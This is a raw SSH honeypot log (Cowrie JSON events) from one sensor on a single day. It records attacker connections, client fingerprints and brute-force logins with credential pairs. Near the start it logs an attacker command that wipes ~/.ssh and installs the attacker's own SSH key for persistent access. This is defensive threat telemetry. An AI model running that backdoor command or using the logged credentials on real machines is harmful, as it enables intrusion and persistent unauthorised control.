{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:20.113480Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:20.116784Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:20.304220Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:20.308544Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":41268,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac3200acb3a2","protocol":"ssh","message":"New connection: 34.85.163.94:41268 (159.203.135.109:22) [session: ac3200acb3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:20.315833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:20.321015Z","src_ip":"34.85.163.94","session":"ac3200acb3a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:20.337209Z","src_ip":"34.85.163.94","session":"ac3200acb3a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:20.570782Z","src_ip":"34.85.163.94","session":"ac3200acb3a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:21.585327Z","src_ip":"34.85.163.94","session":"ac3200acb3a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":41280,"dst_ip":"159.203.135.109","dst_port":22,"session":"000d4021e7dc","protocol":"ssh","message":"New connection: 34.85.163.94:41280 (159.203.135.109:22) [session: 000d4021e7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:21.591993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:21.595804Z","src_ip":"34.85.163.94","session":"000d4021e7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:21.617832Z","src_ip":"213.209.159.158","session":"3a2a794fef21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54988,"dst_ip":"159.203.135.109","dst_port":22,"session":"29ff8cfaede0","protocol":"ssh","message":"New connection: 213.209.159.158:54988 (159.203.135.109:22) [session: 29ff8cfaede0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:21.697301Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:21.790118Z","src_ip":"34.85.163.94","session":"000d4021e7dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:22.058227Z","src_ip":"34.85.163.94","session":"000d4021e7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:22.071912Z","src_ip":"34.85.163.94","session":"3ea07d1cebd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:22.077203Z","src_ip":"34.85.163.94","session":"000d4021e7dc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:23.867633Z","src_ip":"213.209.159.158","session":"29ff8cfaede0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:23.871275Z","src_ip":"213.209.159.158","session":"29ff8cfaede0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avi","password":"avi","message":"login attempt [avi/avi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:34.171554Z","src_ip":"213.209.159.158","session":"29ff8cfaede0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:37.269414Z","src_ip":"213.209.159.158","session":"29ff8cfaede0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40044,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9f09c1029b9","protocol":"ssh","message":"New connection: 213.209.159.158:40044 (159.203.135.109:22) [session: c9f09c1029b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:37.347816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:39.988290Z","src_ip":"213.209.159.158","session":"c9f09c1029b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:39.993113Z","src_ip":"213.209.159.158","session":"c9f09c1029b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.13.54.161","src_port":52682,"dst_ip":"159.203.135.109","dst_port":22,"session":"389357230ad3","protocol":"ssh","message":"New connection: 60.13.54.161:52682 (159.203.135.109:22) [session: 389357230ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:41.302986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:41.307983Z","src_ip":"60.13.54.161","session":"389357230ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:41.685955Z","src_ip":"60.13.54.161","session":"389357230ad3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:42.833688Z","src_ip":"60.13.54.161","session":"389357230ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agabang","password":"agabang","message":"login attempt [agabang/agabang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:49.735491Z","src_ip":"213.209.159.158","session":"c9f09c1029b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:53.432668Z","src_ip":"213.209.159.158","session":"c9f09c1029b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":4816,"dst_ip":"159.203.135.109","dst_port":22,"session":"94ac5acf3cb0","protocol":"ssh","message":"New connection: 213.209.159.158:4816 (159.203.135.109:22) [session: 94ac5acf3cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:53.540521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:55.701468Z","src_ip":"213.209.159.158","session":"94ac5acf3cb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:30:55.704544Z","src_ip":"213.209.159.158","session":"94ac5acf3cb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"12345","password":"12345","message":"login attempt [12345/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:05.260976Z","src_ip":"213.209.159.158","session":"94ac5acf3cb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:08.718202Z","src_ip":"213.209.159.158","session":"94ac5acf3cb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":46412,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f57f703de01","protocol":"ssh","message":"New connection: 213.209.159.158:46412 (159.203.135.109:22) [session: 0f57f703de01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:08.821308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:11.062008Z","src_ip":"213.209.159.158","session":"0f57f703de01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:11.066071Z","src_ip":"213.209.159.158","session":"0f57f703de01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wwadmin","password":"123456","message":"login attempt [wwadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:21.095404Z","src_ip":"213.209.159.158","session":"0f57f703de01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:24.388199Z","src_ip":"213.209.159.158","session":"0f57f703de01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47722,"dst_ip":"159.203.135.109","dst_port":22,"session":"16345ec0b1f7","protocol":"ssh","message":"New connection: 213.209.159.158:47722 (159.203.135.109:22) [session: 16345ec0b1f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:24.484318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:31:26.907928Z","src_ip":"213.209.159.158","session":"16345ec0b1f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-